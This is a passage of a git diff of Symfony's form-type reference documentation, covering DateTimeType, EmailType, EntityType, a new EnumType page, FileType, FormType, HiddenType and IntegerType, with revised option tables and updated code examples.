++---------------------------+----------------------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -108,7 +75,7 @@ add a "blank" entry to the top of each select box:: Alternatively, you can specify a string to be displayed for the "blank" value:: $builder->add('remindEvery', DateIntervalType::class, [ - 'placeholder' => ['years' => 'Years', 'months' => 'Months', 'days' => 'Days'] + 'placeholder' => ['years' => 'Years', 'months' => 'Months', 'days' => 'Days'], ]); ``hours`` @@ -254,7 +221,7 @@ following: Whether or not to include days in the input. This will result in an additional input to capture days. -.. caution:: +.. warning:: This can not be used when `with_weeks`_ is enabled. @@ -307,7 +274,7 @@ input to capture seconds. Whether or not to include weeks in the input. This will result in an additional input to capture weeks. -.. caution:: +.. warning:: This can not be used when `with_days`_ is enabled. @@ -333,6 +300,11 @@ when the ``widget`` option is set to ``choice``:: // values displayed to users range from 1 to 100 (both inclusive) 'years' => array_combine(range(1, 100), range(1, 100)), +Overridden Options +------------------ + +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -352,8 +324,6 @@ These options inherit from the :doc:`form </reference/forms/types/form>` type: .. include:: /reference/forms/types/options/inherit_data.rst.inc -.. include:: /reference/forms/types/options/invalid_message.rst.inc - .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst index 72af8847075..5fda8e9a14f 100644 --- a/reference/forms/types/datetime.rst +++ b/reference/forms/types/datetime.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; DateTimeType - DateTimeType Field ================== @@ -10,55 +7,17 @@ date and time (e.g. ``1984-06-05 12:15:30``). Can be rendered as a text input or select tags. The underlying format of the data can be a ``DateTime`` object, a string, a timestamp or an array. -+----------------------+-----------------------------------------------------------------------------+ -| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) | -+----------------------+-----------------------------------------------------------------------------+ -| Rendered as | single text box or three select fields | -+----------------------+-----------------------------------------------------------------------------+ -| Options | - `choice_translation_domain`_ | -| | - `date_format`_ | -| | - `date_label`_ | -| | - `date_widget`_ | -| | - `days`_ | -| | - `placeholder`_ | -| | - `format`_ | -| | - `hours`_ | -| | - `html5`_ | -| | - `input`_ | -| | - `input_format`_ | -| | - `minutes`_ | -| | - `model_timezone`_ | -| | - `months`_ | -| | - `seconds`_ | -| | - `time_label`_ | -| | - `time_widget`_ | -| | - `view_timezone`_ | -| | - `widget`_ | -| | - `with_minutes`_ | -| | - `with_seconds`_ | -| | - `years`_ | -+----------------------+-----------------------------------------------------------------------------+ -| Overridden options | - `by_reference`_ | -| | - `compound`_ | -| | - `data_class`_ | -| | - `error_bubbling`_ | -+----------------------+-----------------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `inherit_data`_ | -| | - `invalid_message`_ | -| | - `invalid_message_parameters`_ | -| | - `mapped`_ | -| | - `row_attr`_ | -+----------------------+-----------------------------------------------------------------------------+ -| Parent type | :doc:`FormType </reference/forms/types/form>` | -+----------------------+-----------------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateTimeType` | -+----------------------+-----------------------------------------------------------------------------+ ++---------------------------+-----------------------------------------------------------------------------+ +| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) | ++---------------------------+-----------------------------------------------------------------------------+ +| Rendered as | single text box or five select fields | ++---------------------------+-----------------------------------------------------------------------------+ +| Default invalid message | Please enter a valid date and time. | ++---------------------------+-----------------------------------------------------------------------------+ +| Parent type | :doc:`FormType </reference/forms/types/form>` | ++---------------------------+-----------------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateTimeType` | ++---------------------------+-----------------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -121,7 +80,7 @@ values for the year, month, day, hour, minute and second fields:: 'placeholder' => [ 'year' => 'Year', 'month' => 'Month', 'day' => 'Day', 'hour' => 'Hour', 'minute' => 'Minute', 'second' => 'Second', - ] + ], ]); format @@ -231,6 +190,8 @@ error_bubbling **default**: ``false`` +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -250,8 +211,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/inherit_data.rst.inc -.. include:: /reference/forms/types/options/invalid_message.rst.inc - .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc @@ -270,5 +229,5 @@ Field Variables | | | contains the input type to use (``datetime``, ``date`` or ``time``). | +----------+------------+----------------------------------------------------------------------+ -.. _`datetime local`: http://w3c.github.io/html-reference/datatypes.html#form.data.datetime-local -.. _`Date/Time Format Syntax`: http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax +.. _`datetime local`: https://html.spec.whatwg.org/multipage/input.html#local-date-and-time-state-(type=datetime-local) +.. _`Date/Time Format Syntax`: https://unicode-org.github.io/icu/userguide/format_parse/datetime/#datetime-format-syntax diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst index 74eeaa95272..ef535050813 100644 --- a/reference/forms/types/email.rst +++ b/reference/forms/types/email.rst @@ -1,39 +1,26 @@ -.. index:: - single: Forms; Fields; EmailType - EmailType Field =============== The ``EmailType`` field is a text field that is rendered using the HTML5 -``<input type="email"/>`` tag. - -+-------------+---------------------------------------------------------------------+ -| Rendered as | ``input`` ``email`` field (a text box) | -+-------------+---------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -| | - `trim`_ | -+-------------+---------------------------------------------------------------------+ -| Parent type | :doc:`TextType </reference/forms/types/text>` | -+-------------+---------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EmailType` | -+-------------+---------------------------------------------------------------------+ +``<input type="email">`` tag. + ++---------------------------+---------------------------------------------------------------------+ +| Rendered as | ``input`` ``email`` field (a text box) | ++---------------------------+---------------------------------------------------------------------+ +| Default invalid message | Please enter a valid email address. | ++---------------------------+---------------------------------------------------------------------+ +| Parent type | :doc:`TextType </reference/forms/types/text>` | ++---------------------------+---------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EmailType` | ++---------------------------+---------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc +Overridden Options +------------------ + +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -45,13 +32,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The default value is ``''`` (the empty string). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/error_bubbling.rst.inc @@ -67,6 +52,8 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst index 21183ad4e57..0d900de377f 100644 --- a/reference/forms/types/entity.rst +++ b/reference/forms/types/entity.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; EntityType - EntityType Field ================ @@ -12,49 +9,6 @@ objects from the database. +-------------+------------------------------------------------------------------+ | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`) | +-------------+------------------------------------------------------------------+ -| Options | - `choice_label`_ | -| | - `class`_ | -| | - `em`_ | -| | - `query_builder`_ | -+-------------+------------------------------------------------------------------+ -| Overridden | - `choice_name`_ | -| options | - `choice_value`_ | -| | - `choices`_ | -| | - `data_class`_ | -+-------------+------------------------------------------------------------------+ -| Inherited | from the :doc:`ChoiceType </reference/forms/types/choice>`: | -| options | | -| | - `choice_attr`_ | -| | - `choice_translation_domain`_ | -| | - `expanded`_ | -| | - `group_by`_ | -| | - `multiple`_ | -| | - `placeholder`_ | -| | - `preferred_choices`_ | -| | - `translation_domain`_ | -| | - `trim`_ | -| | | -| | from the :doc:`FormType </reference/forms/types/form>`: | -| | | -| | - `attr`_ | -| | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -| | - `label_translation_parameters`_ | -| | - `attr_translation_parameters`_ | -| | - `help_translation_parameters`_ | -+-------------+------------------------------------------------------------------+ | Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | +-------------+------------------------------------------------------------------+ | Class | :class:`Symfony\\Bridge\\Doctrine\\Form\\Type\\EntityType` | @@ -95,16 +49,18 @@ Using a Custom Query for the Entities If you want to create a custom query to use when fetching the entities (e.g. you only want to return some entities, or need to order them), use -the `query_builder`_ option:: +the `query_builder`_ option (which must be a ``QueryBuilder`` object, a closure +returning a ``QueryBuilder`` object or ``null`` to load all entities):: use App\Entity\User; use Doctrine\ORM\EntityRepository; + use Doctrine\ORM\QueryBuilder; use Symfony\Bridge\Doctrine\Form\Type\EntityType; // ... $builder->add('users', EntityType::class, [ 'class' => User::class, - 'query_builder' => function (EntityRepository $er) { + 'query_builder' => function (EntityRepository $er): QueryBuilder { return $er->createQueryBuilder('u') ->orderBy('u.username', 'ASC'); }, @@ -170,7 +126,7 @@ method. You can also pass a callback function for more control:: $builder->add('category', EntityType::class, [ 'class' => Category::class, - 'choice_label' => function ($category) { + 'choice_label' => function (Category $category): string { return $category->getDisplayName(); } ]); @@ -182,7 +138,7 @@ more details, see the main :ref:`choice_label <reference-form-choice-label>` doc When passing a string, the ``choice_label`` option is a property path. So you can use anything supported by the - :doc:`PropertyAccessor component </components/property_access>` + :doc:`PropertyAccess component </components/property_access>` For example, if the translations property is actually an associative array of objects, each with a ``name`` property, then you could do this:: @@ -219,7 +175,7 @@ instead of the ``default`` entity manager. **type**: ``Doctrine\ORM\QueryBuilder`` or a ``callable`` **default**: ``null`` Allows you to create a custom query for your choices. See -:ref:`ref-form-entity-query-builder` for an example. +:ref:`how to use it <ref-form-entity-query-builder>` for an example. The value of this option can either be a ``QueryBuilder`` object, a callable or ``null`` (which will load all entities). When using a callable, you will be @@ -227,7 +183,7 @@ passed the ``EntityRepository`` of the entity as the only argument and should return a ``QueryBuilder``. Returning ``null`` in the Closure will result in loading all entities. -.. caution:: +.. warning:: The entity used in the ``FROM`` clause of the ``query_builder`` option will always be validated against the class which you have specified at the @@ -256,7 +212,7 @@ submitted. Instead of allowing the `class`_ and `query_builder`_ options to fetch the entities to include for you, you can pass the ``choices`` option directly. -See :ref:`reference-forms-entity-choices`. +See :ref:`how to use choices <reference-forms-entity-choices>`. ``data_class`` ~~~~~~~~~~~~~~ @@ -279,7 +235,16 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>` .. include:: /reference/forms/types/options/group_by.rst.inc -.. include:: /reference/forms/types/options/multiple.rst.inc +``multiple`` +~~~~~~~~~~~~ + +**type**: ``boolean`` **default**: ``false`` + +If ``true``, the user will be able to select multiple options (as opposed +to choosing just one option). Depending on the value of the ``expanded`` +option, this will render either a select tag or checkboxes if ``true`` and +a select tag or radio buttons if ``false``. The returned value will be a +Doctrine's Array Collection. .. note:: @@ -290,6 +255,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>` .. include:: /reference/forms/types/options/placeholder.rst.inc +.. include:: /reference/forms/types/options/placeholder_attr.rst.inc + ``preferred_choices`` ~~~~~~~~~~~~~~~~~~~~~ @@ -327,12 +294,13 @@ type: .. include:: /reference/forms/types/options/attr.rst.inc +.. include:: /reference/forms/types/options/by_reference.rst.inc + .. include:: /reference/forms/types/options/data.rst.inc .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The actual default value of this option depends on other field options: @@ -340,8 +308,7 @@ The actual default value of this option depends on other field options: (empty string); * Otherwise ``[]`` (empty array). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/error_bubbling.rst.inc @@ -357,6 +324,8 @@ The actual default value of this option depends on other field options: .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst new file mode 100644 index 00000000000..b786fb68125 --- /dev/null +++ b/reference/forms/types/enum.rst @@ -0,0 +1,216 @@ +EnumType Field +============== + +A multi-purpose field used to allow the user to "choose" one or more options +defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </reference/forms/types/choice>` +field and defines the same options. + ++---------------------------+----------------------------------------------------------------------+ +| Rendered as | can be various tags (see below) | ++---------------------------+----------------------------------------------------------------------+ +| Default invalid message | The selected choice is invalid. | ++---------------------------+----------------------------------------------------------------------+ +| Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | ++---------------------------+----------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EnumType` | ++---------------------------+----------------------------------------------------------------------+ + +.. include:: /reference/forms/types/options/_debug_form.rst.inc + +Example Usage +------------- + +Before using this field, you'll need to have some PHP enumeration (or "enum" for +short) defined somewhere in your application. This enum has to be of type +"backed enum", where each keyword defines a scalar value such as a string:: + + // src/Config/TextAlign.php + namespace App\Config; + + enum TextAlign: string + { + case Left = 'Left aligned'; + case Center = 'Center aligned'; + case Right = 'Right aligned'; + } + +Instead of using the values of the enumeration in a ``choices`` option, the +``EnumType`` only requires to define the ``class`` option pointing to the enum:: + + use App\Config\TextAlign; + use Symfony\Component\Form\Extension\Core\Type\EnumType; + // ... + + $builder->add('alignment', EnumType::class, ['class' => TextAlign::class]); + +This will display a ``<select>`` tag with the three possible values defined in +the ``TextAlign`` enum. Use the `expanded`_ and `multiple`_ options to display +these values as ``<input type="checkbox">`` or ``<input type="radio">``. + +The label displayed in the ``<option>`` elements of the ``<select>`` is the enum +name. PHP defines some strict rules for these names (e.g. they can't contain +dots or spaces). If you need more flexibility for these labels, your enum can +implement ``TranslatableInterface`` to translate or display custom labels:: + + // src/Config/TextAlign.php + namespace App\Config; + + use Symfony\Contracts\Translation\TranslatableInterface; + use Symfony\Contracts\Translation\TranslatorInterface; + + enum TextAlign: string implements TranslatableInterface + { + case Left = 'Left aligned'; + case Center = 'Center aligned'; + case Right = 'Right aligned'; + + public function trans(TranslatorInterface $translator, ?string $locale = null): string + { + // Translate enum from name (Left, Center or Right) + return $translator->trans($this->name, locale: $locale); + + // Translate enum using custom labels + return match ($this) { + self::Left => $translator->trans('text_align.left.label', locale: $locale), + self::Center => $translator->trans('text_align.center.label', locale: $locale), + self::Right => $translator->trans('text_align.right.label', locale: $locale), + }; + } + } + +Field Options +------------- + +class +~~~~~ + +**type**: ``string`` **default**: (it has no default) + +The fully-qualified class name (FQCN) of the PHP enum used to get the values +displayed by this form field. + +Inherited Options +----------------- + +These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`: + +.. include:: /reference/forms/types/options/choice_attr.rst.inc + +.. include:: /reference/forms/types/options/choice_filter.rst.inc + +.. include:: /reference/forms/types/options/choice_label.rst.inc + +.. include:: /reference/forms/types/options/choice_loader.rst.inc + +.. include:: /reference/forms/types/options/choice_name.rst.inc + +.. include:: /reference/forms/types/options/choice_translation_domain_enabled.rst.inc + +.. include:: /reference/forms/types/options/choice_translation_parameters.rst.inc + +.. include:: /reference/forms/types/options/choice_value.rst.inc + +.. include:: /reference/forms/types/options/error_bubbling.rst.inc + +.. include:: /reference/forms/types/options/error_mapping.rst.inc + +.. include:: /reference/forms/types/options/expanded.rst.inc + +``group_by`` +~~~~~~~~~~~~ + +**type**: ``string`` or ``callable`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``null`` + +You can group the ``<option>`` elements of a ``<select>`` into ``<optgroup>`` +by passing a multi-dimensional array to ``choices``. See the +:ref:`Grouping Options <form-choices-simple-grouping>` section about that. + +The ``group_by`` option is an alternative way to group choices, which gives you +a bit more flexibility. + +Let's add a few cases to our ``TextAlign`` enumeration:: + + // src/Config/TextAlign.php + namespace App\Config; + + enum TextAlign: string + { + case UpperLeft = 'Upper Left aligned'; + case LowerLeft = 'Lower Left aligned'; + + case Center = 'Center aligned'; + + case UpperRight = 'Upper Right aligned'; + case LowerRight = 'Lower Right aligned'; + } + +We can now group choices by the enum case value:: + + use App\Config\TextAlign; + use Symfony\Component\Form\Extension\Core\Type\EnumType; + // ... + + $builder->add('alignment', EnumType::class, [ + 'class' => TextAlign::class, + 'group_by' => function(TextAlign $choice, int $key, string $value): ?string { + if (str_starts_with($value, 'Upper')) { + return 'Upper'; + } + + if (str_starts_with($value, 'Lower')) { + return 'Lower'; + } + + return 'Other'; + } + ]); + +This callback will group choices in 3 categories: ``Upper``, ``Lower`` and ``Other``. + +If you return ``null``, the option won't be grouped. + +.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc + +.. include:: /reference/forms/types/options/multiple.rst.inc + +.. include:: /reference/forms/types/options/placeholder.rst.inc + +.. include:: /reference/forms/types/options/placeholder_attr.rst.inc + +.. include:: /reference/forms/types/options/preferred_choices.rst.inc + +.. include:: /reference/forms/types/options/choice_type_trim.rst.inc + +These options inherit from the :doc:`FormType </reference/forms/types/form>`: + +.. include:: /reference/forms/types/options/attr.rst.inc + +.. include:: /reference/forms/types/options/data.rst.inc + +.. include:: /reference/forms/types/options/disabled.rst.inc + +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc + +.. include:: /reference/forms/types/options/empty_data_description.rst.inc + +.. include:: /reference/forms/types/options/help.rst.inc + +.. include:: /reference/forms/types/options/help_attr.rst.inc + +.. include:: /reference/forms/types/options/help_html.rst.inc + +.. include:: /reference/forms/types/options/label.rst.inc + +.. include:: /reference/forms/types/options/label_attr.rst.inc + +.. include:: /reference/forms/types/options/label_html.rst.inc + +.. include:: /reference/forms/types/options/label_format.rst.inc + +.. include:: /reference/forms/types/options/mapped.rst.inc + +.. include:: /reference/forms/types/options/required.rst.inc + +.. include:: /reference/forms/types/options/row_attr.rst.inc + +.. _`PHP enumeration`: https://www.php.net/manual/language.enumerations.php diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst index 66a18560577..2e841611eb8 100644 --- a/reference/forms/types/file.rst +++ b/reference/forms/types/file.rst @@ -1,38 +1,17 @@ -.. index:: - single: Forms; Fields; FileType - FileType Field ============== The ``FileType`` represents a file input in your form. -+-------------+---------------------------------------------------------------------+ -| Rendered as | ``input`` ``file`` field | -+-------------+---------------------------------------------------------------------+ -| Options | - `multiple`_ | -+-------------+---------------------------------------------------------------------+ -| Overridden | - `compound`_ | -| options | - `data_class`_ | -| | - `empty_data`_ | -+-------------+---------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `disabled`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -+-------------+---------------------------------------------------------------------+ -| Parent type | :doc:`FormType </reference/forms/types/form>` | -+-------------+---------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FileType` | -+-------------+---------------------------------------------------------------------+ ++---------------------------+--------------------------------------------------------------------+ +| Rendered as | ``input`` ``file`` field | ++---------------------------+--------------------------------------------------------------------+ +| Default invalid message | Please select a valid file. | ++---------------------------+--------------------------------------------------------------------+ +| Parent type | :doc:`FormType </reference/forms/types/form>` | ++---------------------------+--------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FileType` | ++---------------------------+--------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -52,7 +31,7 @@ be used to move the ``attachment`` file to a permanent location:: use Symfony\Component\HttpFoundation\File\UploadedFile; - public function upload() + public function upload(): Response { // ... @@ -74,6 +53,10 @@ You might calculate the filename in one of the following ways:: // use the original file name $file->move($directory, $file->getClientOriginalName()); + // when "webkitdirectory" upload was used + // otherwise the value will be the same as getClientOriginalName + // $file->move($directory, $file->getClientOriginalPath()); + // compute a random name and try to guess the extension (more secure) $extension = $file->guessExtension(); if (!$extension) { @@ -82,9 +65,9 @@ You might calculate the filename in one of the following ways:: } $file->move($directory, rand(1, 99999).'.'.$extension); -Using the original name via ``getClientOriginalName()`` is not safe as it -could have been manipulated by the end-user. Moreover, it can contain -characters that are not allowed in file names. You should sanitize the name +Using the original name via ``getClientOriginalName()`` or ``getClientOriginalPath`` +is not safe as it could have been manipulated by the end-user. Moreover, it can contain +characters that are not allowed in file names. You should sanitize the value before using it directly. Read :doc:`/controller/upload_file` for an example of how to manage a file @@ -120,6 +103,11 @@ This option sets the appropriate file-related data mapper to be used by the type This option determines what value the field will return when the submitted value is empty. +Overridden Options +------------------ + +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -143,6 +131,8 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst index 8a0c219f410..58a6214d379 100644 --- a/reference/forms/types/form.rst +++ b/reference/forms/types/form.rst @@ -1,57 +1,16 @@ -.. index:: - single: Forms; Fields; FormType - FormType Field ============== The ``FormType`` predefines a couple of options that are then available on all types for which ``FormType`` is the parent. -+-----------+--------------------------------------------------------------------+ -| Options | - `action`_ | -| | - `allow_extra_fields`_ | -| | - `by_reference`_ | -| | - `compound`_ | -| | - `constraints`_ | -| | - `data`_ | -| | - `data_class`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `extra_fields_message`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `help_translation_parameters`_ | -| | - `inherit_data`_ | -| | - `invalid_message`_ | -| | - `invalid_message_parameters`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `method`_ | -| | - `post_max_size_message`_ | -| | - `property_path`_ | -| | - `required`_ | -| | - `trim`_ | -| | - `validation_groups`_ | -+-----------+--------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `auto_initialize`_ | -| | - `block_name`_ | -| | - `block_prefix`_ | -| | - `disabled`_ | -| | - `label`_ | -| | - `label_html`_ | -| | - `row_attr`_ | -| | - `translation_domain`_ | -| | - `label_translation_parameters`_ | -| | - `attr_translation_parameters`_ | -+-----------+--------------------------------------------------------------------+ -| Parent | none | -+-----------+--------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType` | -+-----------+--------------------------------------------------------------------+ ++---------------------------+--------------------------------------------------------------------+ +| Default invalid message | This value is not valid. | ++---------------------------+--------------------------------------------------------------------+ +| Parent | none | ++---------------------------+--------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType` | ++---------------------------+--------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -89,8 +48,7 @@ option on the form. .. _reference-form-option-empty-data: -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The actual default value of this option depends on other field options: @@ -101,8 +59,14 @@ The actual default value of this option depends on other field options: * If ``data_class`` is not set and ``compound`` is ``false``, then ``''`` (empty string). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc + +``is_empty_callback`` +~~~~~~~~~~~~~~~~~~~~~ + +**type**: ``callable`` **default**: ``null`` + +This callable takes form data and returns whether value is considered empty. .. _reference-form-option-error-bubbling: @@ -112,6 +76,18 @@ The actual default value of this option depends on other field options: .. include:: /reference/forms/types/options/extra_fields_message.rst.inc +.. include:: /reference/forms/types/options/form_attr.rst.inc + +``getter`` +~~~~~~~~~~ + +**type**: ``callable`` **default**: ``null`` + +When provided, this callable will be invoked to read the value from +the underlying object that will be used to populate the form field. + +More details are available in the section on :doc:`/form/data_mappers`. + .. include:: /reference/forms/types/options/help.rst.inc .. include:: /reference/forms/types/options/help_attr.rst.inc @@ -148,6 +124,16 @@ The actual default value of this option depends on other field options: .. include:: /reference/forms/types/options/required.rst.inc +``setter`` +~~~~~~~~~~ + +**type**: ``callable`` **default**: ``null`` + +When provided, this callable will be invoked to map the form value +back to the underlying object. + +More details are available in the section on :doc:`/form/data_mappers`. + .. include:: /reference/forms/types/options/trim.rst.inc .. include:: /reference/forms/types/options/validation_groups.rst.inc @@ -171,8 +157,12 @@ of the form type tree (i.e. it cannot be used as a form type on its own). .. include:: /reference/forms/types/options/disabled.rst.inc +.. _reference-form-option-label: + .. include:: /reference/forms/types/options/label.rst.inc +.. _reference-form-option-label-html: + .. include:: /reference/forms/types/options/label_html.rst.inc .. include:: /reference/forms/types/options/row_attr.rst.inc @@ -182,3 +172,5 @@ of the form type tree (i.e. it cannot be used as a form type on its own). .. include:: /reference/forms/types/options/label_translation_parameters.rst.inc .. include:: /reference/forms/types/options/attr_translation_parameters.rst.inc + +.. include:: /reference/forms/types/options/priority.rst.inc diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst index 1a74e107555..d6aff282edd 100644 --- a/reference/forms/types/hidden.rst +++ b/reference/forms/types/hidden.rst @@ -1,30 +1,17 @@ -.. index:: - single: Forms; Fields; hidden - HiddenType Field ================ The hidden type represents a hidden input field. -+-------------+----------------------------------------------------------------------+ -| Rendered as | ``input`` ``hidden`` field | -+-------------+----------------------------------------------------------------------+ -| Overridden | - `compound`_ | -| options | - `error_bubbling`_ | -| | - `required`_ | -+-------------+----------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `empty_data`_ | -| | - `error_mapping`_ | -| | - `mapped`_ | -| | - `property_path`_ | -| | - `row_attr`_ | -+-------------+----------------------------------------------------------------------+ -| Parent type | :doc:`FormType </reference/forms/types/form>` | -+-------------+----------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\HiddenType` | -+-------------+----------------------------------------------------------------------+ ++---------------------------+----------------------------------------------------------------------+ +| Rendered as | ``input`` ``hidden`` field | ++---------------------------+----------------------------------------------------------------------+ +| Default invalid message | The hidden field is invalid. | ++---------------------------+----------------------------------------------------------------------+ +| Parent type | :doc:`FormType </reference/forms/types/form>` | ++---------------------------+----------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\HiddenType` | ++---------------------------+----------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -40,6 +27,8 @@ Overridden Options Pass errors to the root form, otherwise they will not be visible. +.. include:: /reference/forms/types/options/invalid_message.rst.inc + ``required`` ~~~~~~~~~~~~ @@ -56,13 +45,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/data.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The default value is ``''`` (the empty string). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/error_mapping.rst.inc diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst index fa5660158bc..1f94f9e2525 100644 --- a/reference/forms/types/integer.rst +++ b/reference/forms/types/integer.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; IntegerType - IntegerType Field ================= @@ -13,37 +10,15 @@ This field has different options on how to handle input values that aren't integers. By default, all non-integer values (e.g. 6.78) will round down (e.g. 6). -+-------------+-----------------------------------------------------------------------+ -| Rendered as | ``input`` ``number`` field | -+-------------+-----------------------------------------------------------------------+ -| Options | - `grouping`_ | -| | - `rounding_mode`_ | -+-------------+-----------------------------------------------------------------------+ -| Overridden | - `compound`_ | -| options | | -+-------------+-----------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - 